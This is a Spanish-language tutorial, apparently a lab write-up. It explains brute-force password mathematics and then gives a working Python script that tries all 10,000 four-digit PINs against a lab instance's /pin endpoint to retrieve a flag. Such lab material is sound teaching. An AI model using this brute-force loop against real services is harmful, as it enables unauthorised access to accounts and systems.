Fuerza Bruta Simple — Matemáticas y Ataque a PIN
🧮 Matemáticas del Forzamiento Bruto
La cantidad total de combinaciones posibles de una contraseña se calcula con:
Possible Combinations = (Tamaño del Conjunto de Caracteres) ^ (Longitud de la Contraseña)
Por ejemplo:
-
6 caracteres, solo letras minúsculas (26):
→ 26⁶ ≈ 308.915.776 combinaciones -
8 caracteres, solo letras minúsculas:
→ 26⁸ ≈ 208.827.064.576 combinaciones -
8 caracteres, minúsculas y mayúsculas (52):
→ 52⁸ ≈ 53.459.728.531.456 -
12 caracteres, ASCII completo (94):
→ 94¹² ≈ 4.75 × 10²⁰ combinaciones
Un pequeño aumento en la longitud o tipos de caracteres incrementa exponencialmente el número de combinaciones.
📊 Comparativa de Combinaciones por Complejidad
| Longitud | Conjunto | Combinaciones |
|---|---|---|
| 6 | Minúsculas | 26⁶ = 308.915.776 |
| 8 | Minúsculas | 26⁸ = 208.827.064.576 |
| 8 | Min+May | 52⁸ = 53.459.728.531.456 |
| 12 | ASCII completo | 94¹² = 4.759×10²⁰ |
⚡ Influencia del Hardware
Cuantos más recursos (CPU/GPU/nube) tenga un atacante, más rápido podrá adivinar contraseñas.
Comparación de rendimiento:
🖥️ Computadora básica
1 millón de intentos por segundo
- Contraseña de 8 caracteres (letras + números):
→ 6.92 años
🧠 Supercomputadora
1 billón de intentos por segundo
- Contraseña de 12 chars (ASCII completo):
→ ~15.000 años
Incluso con supercomputadoras, las contraseñas complejas son prácticamente irrompibles por fuerza bruta.
🔢 Ataque de Fuerza Bruta a un PIN (Caso Práctico)
La instancia genera un PIN de 4 dígitos (0000–9999) y expone el endpoint:
/pin?pin=<PIN>
Si el PIN es correcto, devuelve un mensaje + flag.
Vamos a brute forcearlo con Python.
🧪 Script de Fuerza Bruta (pin-solver.py)
import requests
ip = "94.237.63.174"
port = 31675
# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
formatted_pin = f"{pin:04d}" # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
print(f"Attempted PIN: {formatted_pin}")
# Send the request to the server
response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
# Check if the server responds with success and the flag is found
if response.ok and 'flag' in response.json(): # .ok means status code is 200 (success)
print(f"Correct PIN found: {formatted_pin}")
print(f"Flag: {response.json()['flag']}")
break
Este script:
-
Prueba los 10.000 PINs posibles
-
Envía cada uno al endpoint
-
Detecta cuándo el servidor devuelve el flag
🧾 Ejemplo de Ejecución
python pin-solver.py

PIN encontrado 7770